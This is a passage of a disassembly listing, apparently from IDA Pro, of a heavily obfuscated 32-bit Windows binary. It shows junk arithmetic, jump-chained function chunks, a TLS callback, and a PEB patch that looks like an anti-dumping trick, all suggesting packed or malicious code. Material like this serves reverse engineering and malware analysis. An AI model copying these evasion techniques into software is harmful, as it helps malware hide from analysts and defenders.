; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_423C67: ; CODE XREF: sub_424A57-94Fj
jmp loc_423EE3
; END OF FUNCTION CHUNK FOR sub_424A57
; ---------------------------------------------------------------------------
mov edi, [ecx]
mov ebp, ebx
jmp sub_42BBF9
; ---------------------------------------------------------------------------
and ecx, 66E4C0FFh
jmp sub_42BEDC
; ---------------------------------------------------------------------------
mov dword ptr [ebp-4], 1
mov eax, 0
or eax, eax
jz loc_423E83
jmp loc_42839D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429974
loc_423C99: ; CODE XREF: sub_429974:loc_42C349j
push esi
push 0C7FFDF98h
pop esi
add esi, 384288DAh
xchg esi, [esp+0]
jmp loc_424CED
; END OF FUNCTION CHUNK FOR sub_429974
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_423CAF: ; CODE XREF: _94j21ax3:00425256j
jmp loc_427D0B
; ---------------------------------------------------------------------------
sub edx, 0D65D5C4Bh
jmp sub_42C2E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_423CBF: ; CODE XREF: sub_421F28:loc_42B2E1j
adc ecx, edi
and ebx, 9EDEFD02h
xor esi, 0CBB0E359h
jmp loc_424676
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_423CD2: ; CODE XREF: sub_42AA5F:loc_426F5Ej
jz loc_42BFCA
jmp loc_426D62
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_423CDD: ; CODE XREF: sub_424C37-228Ej
jnz loc_4296E2
jmp loc_426CCF
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DA4
loc_423CE8: ; CODE XREF: sub_426DA4+Cj
mov eax, [eax]
push eax
push 1EA69EC5h
sub dword ptr [esp+0], 1EA69E9Dh
pushf
jmp loc_42B33B
; END OF FUNCTION CHUNK FOR sub_426DA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5E8
loc_423CFD: ; CODE XREF: sub_42C5E8-B458j
jnz loc_423402
loc_423D03: ; CODE XREF: _94j21ax3:0042298Cj
jmp loc_42BFB8
; END OF FUNCTION CHUNK FOR sub_42C5E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_423D09 proc near ; DATA XREF: sub_424A57+5160o
add edx, 916D9DA7h
call sub_421C84
sub_423D09 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_423D14: ; CODE XREF: sub_423BF8:loc_421EF0j
add edx, 74211C73h
call sub_4247D2
loc_423D1F: ; CODE XREF: sub_421246+3B85j
add ebp, 0A9EBE76Bh
; END OF FUNCTION CHUNK FOR sub_423BF8
; =============== S U B R O U T I N E =======================================
sub_423D25 proc near ; CODE XREF: sub_424EE4:loc_4287A5p
xchg ecx, [esp+0]
pop ecx
jnz loc_427C40
jmp loc_425B72
sub_423D25 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cmp esi, ebp
; START OF FUNCTION CHUNK FOR sub_42484C
loc_423D36: ; CODE XREF: sub_42484C:loc_423637j
jmp loc_42312A
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
test esi, ebx
jmp loc_42A8C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B314
loc_423D42: ; CODE XREF: sub_42B314:loc_4265EFj
and edx, 88CE38D3h
jbe loc_4218B3
jmp loc_42B54E
; END OF FUNCTION CHUNK FOR sub_42B314
; ---------------------------------------------------------------------------
adc ebx, 1FB79B75h
jmp loc_42A303
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_423D5F: ; CODE XREF: _94j21ax3:0042B2F6j
jmp sub_42574E
; ---------------------------------------------------------------------------
loc_423D64: ; DATA XREF: sub_42B384+8o
add eax, 0CBE8E6C3h
call sub_429B81
; START OF FUNCTION CHUNK FOR sub_427D65
loc_423D6F: ; CODE XREF: sub_427D65-3ABBj
jmp loc_423114
; END OF FUNCTION CHUNK FOR sub_427D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_423D74: ; CODE XREF: sub_423324:loc_4233F6j
mov ebx, [eax+4]
mov eax, [eax]
jnz loc_426E63
retn
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_423D80: ; CODE XREF: sub_421689+761Cj
jmp loc_42A473
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
loc_423D85: ; CODE XREF: _94j21ax3:004219C9j
jmp loc_4245D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426E5C
loc_423D8A: ; CODE XREF: sub_426E5C:loc_426E63j
cmp dword ptr [eax], 0FFFFFFFFh
mov ebx, [eax+4]
mov eax, [eax]
jnz loc_426E63
jmp nullsub_42
; END OF FUNCTION CHUNK FOR sub_426E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429382
loc_423D9D: ; CODE XREF: sub_429382+126Aj
mov eax, (offset loc_4256D7+1)
call sub_428AE1
push 0CC71DF00h
mov eax, offset sub_423DB5
xchg eax, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_429382
; =============== S U B R O U T I N E =======================================
sub_423DB5 proc near ; DATA XREF: sub_429382-55D6o
; FUNCTION CHUNK AT 00423F7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425434 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427F00 SIZE 0000001C BYTES
add eax, 2ED9926Ah
jmp loc_423F7A
sub_423DB5 endp
; ---------------------------------------------------------------------------
mov [edx], eax
jmp sub_4258CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424320
loc_423DC7: ; CODE XREF: sub_424320+C98j
shl edx, 15h
cdq
loc_423DCB: ; CODE XREF: sub_424320:loc_427195j
call sub_426612
mov edx, 0F9A79DECh
push edi
jmp loc_422092
; END OF FUNCTION CHUNK FOR sub_424320
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_423DDB: ; CODE XREF: sub_423324:loc_429640j
xor eax, 0F02E5FEAh
add eax, ebp
add eax, 0E02F3D34h
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_426F05
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_423DFA: ; CODE XREF: sub_424EE4-203Ej
; sub_423F55+3C4Dj
cmp edx, 7449E4Fh
mov edx, ebx
pop ecx
xchg edi, [esp+0]
mov eax, edi
pop edi
pop ebx
jmp loc_42A687
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_423E0F: ; CODE XREF: sub_42169F+3605j
jz loc_4269CB
jmp loc_42535F
; END OF FUNCTION CHUNK FOR sub_42169F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429974
loc_423E1B: ; CODE XREF: sub_429974-1249j
jmp sub_423F43
; END OF FUNCTION CHUNK FOR sub_429974
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42559A
loc_423E20: ; CODE XREF: sub_42559A:loc_423683j
pop ecx
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_42559A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC17
loc_423E24: ; CODE XREF: sub_42AC17j
push offset sub_4246B9
jmp loc_421276
; END OF FUNCTION CHUNK FOR sub_42AC17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4216D0
loc_423E2E: ; CODE XREF: sub_4216D0-555j
xor ebx, 8F18FFAAh
call sub_427E13
; END OF FUNCTION CHUNK FOR sub_4216D0
; START OF FUNCTION CHUNK FOR sub_427849
loc_423E39: ; CODE XREF: sub_427849-4B20j
jmp loc_429F95
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
locret_423E3E: ; CODE XREF: _94j21ax3:00422C09j
retn
; ---------------------------------------------------------------------------
loc_423E3F: ; CODE XREF: _94j21ax3:loc_422BEEj
mov eax, [ebp-4]
cmp byte ptr [eax], 0
jnz loc_428448
mov eax, [ebp-8]
jmp loc_424588
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424775
loc_423E53: ; CODE XREF: sub_424775+21A9j
; sub_421689:loc_427EDBj
call sub_422C48
test eax, eax
jnz loc_426901
mov eax, [ebp-8]
call sub_42BAC2
loc_423E68: ; CODE XREF: _94j21ax3:loc_422070j
; sub_422392+95Fj ...
mov esp, ebp
mov ebp, offset nullsub_12
xchg ebp, [esp+0]
jmp nullsub_25
; END OF FUNCTION CHUNK FOR sub_424775
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421C84
loc_423E77: ; CODE XREF: sub_421C84-A27j
xor ebx, 18C9278Dh
add edx, ebx
pop ebx
mov [edx], eax
; END OF FUNCTION CHUNK FOR sub_421C84
; START OF FUNCTION CHUNK FOR sub_425790
loc_423E82: ; CODE XREF: sub_425790+44ADj
pop edx
; END OF FUNCTION CHUNK FOR sub_425790
; START OF FUNCTION CHUNK FOR sub_426716
loc_423E83: ; CODE XREF: sub_426716:loc_421042j
; _94j21ax3:00423C8Ej ...
dec ds:dword_42343C
jmp loc_42AAFE
; END OF FUNCTION CHUNK FOR sub_426716
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_423E8E: ; CODE XREF: sub_423FCD-1510j
; sub_423FCD:loc_429930j
mov eax, 80000002h
xor ebx, ebx
xor ecx, ecx
xor edx, edx
cpuid
add [esi], eax
xor [esi], ebx
jmp loc_426ACD
; END OF FUNCTION CHUNK FOR sub_423FCD
; =============== S U B R O U T I N E =======================================
sub_423EA4 proc near ; DATA XREF: _94j21ax3:0042731Co
ror eax, 0Dh
mov ds:dword_42340C, eax
sub_423EA4 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EAE proc near ; CODE XREF: sub_424A57:loc_4242C4j
; FUNCTION CHUNK AT 00427D8D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B2A4 SIZE 00000005 BYTES
push ebp
mov ebp, esp
jmp loc_42B2A4
sub_423EAE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_423EB6: ; CODE XREF: sub_421F28+97A5j
; sub_427ABD:loc_42BAF2j
mov eax, large fs:30h
mov eax, [eax+0Ch]
mov eax, [eax+0Ch]
lea edx, [eax+20h]
mov dword ptr [edx], 1000h
jmp loc_42A057
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421822
loc_423ED1: ; CODE XREF: sub_421822+A80Bj
ja loc_42BF04
cdq
loc_423ED8: ; CODE XREF: sub_421822:loc_42B8ABj
call sub_421558
; END OF FUNCTION CHUNK FOR sub_421822
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_423EDE: ; CODE XREF: sub_421D33+1E4j
jmp loc_4289FC
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_423EE3: ; CODE XREF: sub_424A57:loc_423C67j
jz loc_429BA6
jmp loc_428269
; END OF FUNCTION CHUNK FOR sub_424A57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_423EEE: ; CODE XREF: sub_429A83:loc_426F6Ej
pop ebp
xor eax, ecx
jnz loc_425B0B
jmp loc_42654C
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
loc_423EFC: ; CODE XREF: _94j21ax3:00426A29j
add eax, ebp
push edx
push 217A04Fh
pop edx
or edx, 870CD3D2h
add edx, 0D845FDE7h
jmp loc_42A495
; ---------------------------------------------------------------------------
sbb esi, ebp
add edx, 91368298h
jmp sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421480
loc_423F23: ; CODE XREF: sub_421480+Dj
rol edx, 5
add edx, eax
rol edx, 5
xor edx, esi
jmp loc_425267
; END OF FUNCTION CHUNK FOR sub_421480
; =============== S U B R O U T I N E =======================================
sub_423F32 proc near ; DATA XREF: sub_422F50+76B9o
call sub_423F43
sub_423F32 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_422F50
loc_423F37: ; CODE XREF: _94j21ax3:0042173Dj
; sub_421DC4+8j ...
mov eax, [ebp-0Ch]
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_422F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_423F3E: ; CODE XREF: sub_42C24F+2F3j
jmp loc_428210
; END OF FUNCTION CHUNK FOR sub_42C24F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423F43 proc near ; CODE XREF: sub_421A4F-6E9p
; sub_42270C-8F4p ...
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004235C0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004246AE SIZE 00000005 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
jmp loc_4246AE
sub_423F43 endp
; ---------------------------------------------------------------------------
call sub_429163
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_423F55 proc near ; CODE XREF: sub_426A83-47C5p
; _94j21ax3:00422F3Aj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0042162D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00422110 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042219C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004221C8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00422C43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004234F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423B95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423DFA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004241E1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004245F7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004246A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424811 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00424A91 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00424C50 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00426694 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B46 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426EFB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426F7D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427418 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427807 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427B96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427E01 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042845E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004297CE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042993B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A566 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A687 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042AC6B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B10A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B42F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C125 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C200 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C244 SIZE 0000000B BYTES
mov [esp+0], edx
pop edx
mov [ebp-4], eax
loc_423F5C: ; CODE XREF: sub_422B4F+13j
; sub_426A83+Bj ...
mov eax, [ebp-1Ch]
call sub_421EAD
jmp loc_4246A9
sub_423F55 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_423F69: ; CODE XREF: sub_42A0CC:loc_4274BAj
jnz loc_4298D5
jmp loc_428BB1
; END OF FUNCTION CHUNK FOR sub_42A0CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_423F75: ; CODE XREF: sub_42C0BC-4C2Aj
jmp loc_42ABF8
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423DB5
loc_423F7A: ; CODE XREF: sub_423DB5+6j
jmp loc_425434
; END OF FUNCTION CHUNK FOR sub_423DB5
; =============== S U B R O U T I N E =======================================
sub_423F7F proc near ; CODE XREF: sub_42191Fp
; _94j21ax3:00424418j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004298FC SIZE 0000000E BYTES
mov [esp+0], ecx
pop ecx
xchg ebx, [esp-4+arg_0]
mov ebx, [esp-4+arg_0]
push 8058AF5Bh
pop ebx
jmp loc_4298FC
sub_423F7F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR TlsCallback_0
loc_423F94: ; CODE XREF: TlsCallback_0-8EE8j
jo loc_423160
not ebx
or edx, edi
loc_423F9E: ; CODE XREF: TlsCallback_0:loc_424FCCj
push 0AD9C3C74h
pop eax
xor eax, 0AD9C3C75h
xor edx, edx
jmp loc_428745
; END OF FUNCTION CHUNK FOR TlsCallback_0
; ---------------------------------------------------------------------------
push ebx
push 5DDBD854h
pop ebx
add ebx, 0A2669FA8h
xchg ebx, [esp]
jmp loc_4277FD
; ---------------------------------------------------------------------------
sbb esi, edi
jmp sub_42C466
; =============== S U B R O U T I N E =======================================
sub_423FCD proc near ; CODE XREF: sub_42B314:loc_4265EAp
; _94j21ax3:0042A719j
; FUNCTION CHUNK AT 0042195C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00421D45 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00422075 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004222C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042275F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422AB3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00422CFC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423E8E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00425228 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042659C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426A49 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00426ACD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428224 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004286E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042873F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004290FA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004291CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429930 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429A9F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A341 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A3C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B064 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B0DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BB6B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042C39E SIZE 00000014 BYTES
xchg edx, [esp+0]
pop edx
cmp eax, 0C3C033h
jnz loc_42BB75
jmp loc_42B0DB
sub_423FCD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_423FE1 proc near ; CODE XREF: sub_422EB0+56ADp
; FUNCTION CHUNK AT 004225DC SIZE 00000004 BYTES
mov [esp+0], eax
call dword ptr [ebp-4]
jmp loc_4225DC
sub_423FE1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_423FEC: ; CODE XREF: sub_422EB0:loc_4224C5j
push 15F46E30h
pop eax
xor eax, 0FF9C8F12h
push offset loc_425656
jmp nullsub_38
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_424002: ; CODE XREF: sub_42C24F:loc_422B01j
sub edx, ecx
shl edi, 7
not esi
pop edi
popf
jmp loc_42518F
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
loc_424010: ; CODE XREF: _94j21ax3:loc_424763j
push ebx
mov [esp], eax
call sub_42A61F
push eax
mov eax, [ebp-8]
push eax
call sub_42A61F
push eax
jmp loc_42A558
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425B77
loc_424029: ; CODE XREF: sub_425B77:loc_42300Dj
push edx
push 0EFCE64F8h
pop edx
sub edx, 88A60E83h
add edx, 9919EDD3h
jmp loc_42248D
; END OF FUNCTION CHUNK FOR sub_425B77
; ---------------------------------------------------------------------------
loc_424041: ; CODE XREF: _94j21ax3:004227D7j
test ecx, edx
jmp loc_4236CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_424048: ; CODE XREF: sub_42284F+6648j
cdq
add ebx, 0D3DA58C9h
mov edx, [ecx]
jmp loc_4236F8
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
dw 932Eh
dd 0F38AFBBBh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_42405C: ; CODE XREF: sub_425819+11j
jmp loc_426C14
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4225A5
loc_424061: ; CODE XREF: sub_4225A5+D35j
jmp loc_429CEC
; END OF FUNCTION CHUNK FOR sub_4225A5
; ---------------------------------------------------------------------------
dw 0C5B1h
dword_424068 dd 6EFCE62Ch ; DATA XREF: _94j21ax3:00429749w
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_42406C: ; CODE XREF: sub_425790+6896j
jmp loc_427FE3
; END OF FUNCTION CHUNK FOR sub_425790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427A68
loc_424071: ; CODE XREF: sub_427A68+1Bj
jmp loc_42A741
; END OF FUNCTION CHUNK FOR sub_427A68
; ---------------------------------------------------------------------------
dw 4F22h
dword_424078 dd 0E77E737Dh ; DATA XREF: _94j21ax3:0042504Cw
dword_42407C dd 0 ; DATA XREF: sub_42A254:loc_421F45r
; sub_427D53+7r
dword_424080 dd 0 ; DATA XREF: sub_42BA8A:loc_425A77r
; sub_4254AE+F54r ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB0D
loc_424084: ; CODE XREF: sub_42BB0D+6j
jmp loc_4213C4
; END OF FUNCTION CHUNK FOR sub_42BB0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
loc_424089: ; CODE XREF: sub_42A277-8FCAj
jmp sub_423F43
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
dw 0F202h
dword_424090 dd 0D2A3BF30h ; DATA XREF: sub_4272E9-5DA1r
; sub_42237C+Bw ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_424094: ; CODE XREF: sub_423324+631j
jmp nullsub_82
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
db 84h, 0C8h, 1
dword_42409C dd 0DDDF9C1Ah ; DATA XREF: sub_424B54+2281w
; sub_42A8BB:loc_42B092r
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4236E2
loc_4240A0: ; CODE XREF: sub_4236E2+6j
jmp nullsub_20
; END OF FUNCTION CHUNK FOR sub_4236E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425983
loc_4240A5: ; CODE XREF: sub_425983+3135j
sub ebp, 0F8B07658h
loc_4240AB: ; CODE XREF: sub_425983:loc_424806j
call sub_426612
mov edx, 0BD91ED44h
call sub_4239A5
push eax
ror eax, 0Ch
call sub_426602
; END OF FUNCTION CHUNK FOR sub_425983
; =============== S U B R O U T I N E =======================================
sub_4240C3 proc near ; CODE XREF: sub_42AD91+Ap
; sub_42266A+9CCFj
arg_0 = dword ptr 4
mov [esp+0], ecx
pop ecx
xchg ecx, [esp-4+arg_0]
jmp sub_4210AA
sub_4240C3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_4240CF: ; CODE XREF: sub_42C057:loc_428293j
mov ds:dword_426F2C, eax
; END OF FUNCTION CHUNK FOR sub_42C057
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_4240D4: ; CODE XREF: sub_42AA5F-246Aj
call sub_42574E
call sub_422034
; END OF FUNCTION CHUNK FOR sub_42AA5F
; START OF FUNCTION CHUNK FOR sub_422FBC
loc_4240DE: ; CODE XREF: sub_422FBC+7j
jmp loc_428DDC
; END OF FUNCTION CHUNK FOR sub_422FBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_4240E3: ; CODE XREF: sub_424C37+4F45j
jz loc_4223C9
jmp loc_427737
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
sbb ecx, 2D7131D4h
jmp loc_42B719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_4240F9: ; CODE XREF: sub_424A57+5CD1j
pop eax
mov eax, ds:dword_42340C
or eax, eax
jnz loc_42A4D2
jmp loc_423C67
; END OF FUNCTION CHUNK FOR sub_424A57
; ---------------------------------------------------------------------------
loc_42410D: ; CODE XREF: _94j21ax3:loc_422810j
cdq
jmp loc_4297EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426C7A
loc_424113: ; CODE XREF: sub_426C7A:loc_426C90j
mov eax, [ebp-4]
call sub_42ABCE
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jle loc_42C454
mov eax, [ebp-4]
xor edx, edx
jmp loc_4297E5
; END OF FUNCTION CHUNK FOR sub_426C7A
; ---------------------------------------------------------------------------
test al, al
jz loc_424149
mov eax, 0E1h
call sub_425A09
jmp loc_42242C
; ---------------------------------------------------------------------------
loc_424149: ; CODE XREF: _94j21ax3:00424134j
call sub_426AFD
; START OF FUNCTION CHUNK FOR sub_427CAC
loc_42414E: ; CODE XREF: sub_427CAC:loc_428BA7j
push 100h
lea eax, [ebp-2C8h]
push eax
push 4C91A0h
mov eax, [ebp-10h]
push eax
call sub_42A3EE
test eax, eax
jmp loc_42B818
; END OF FUNCTION CHUNK FOR sub_427CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_42416F: ; CODE XREF: sub_4221B8:loc_42901Dj
jz loc_4271B5
jmp loc_42AAF3
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42328F
loc_42417A: ; CODE XREF: sub_42328F+11j
xchg ecx, [esp+0]
jmp loc_4267B4
; END OF FUNCTION CHUNK FOR sub_42328F
; ---------------------------------------------------------------------------
mov edx, 0BE8CE1B7h
call sub_4239A5
mov [ebp-4], eax
jmp loc_42ADAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428118
loc_424194: ; CODE XREF: sub_428118+1j
push 160CB763h
pop ecx
add ecx, 0EA356FC2h
xchg ecx, [esp+4+var_4]
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_428118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_4241A8: ; CODE XREF: sub_422392:loc_421AE9j
popf
rol ebx, 17h
jmp loc_4211D8
; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4241B1: ; CODE XREF: sub_4294B3:loc_42BEB4j
; DATA XREF: sub_428811+13o
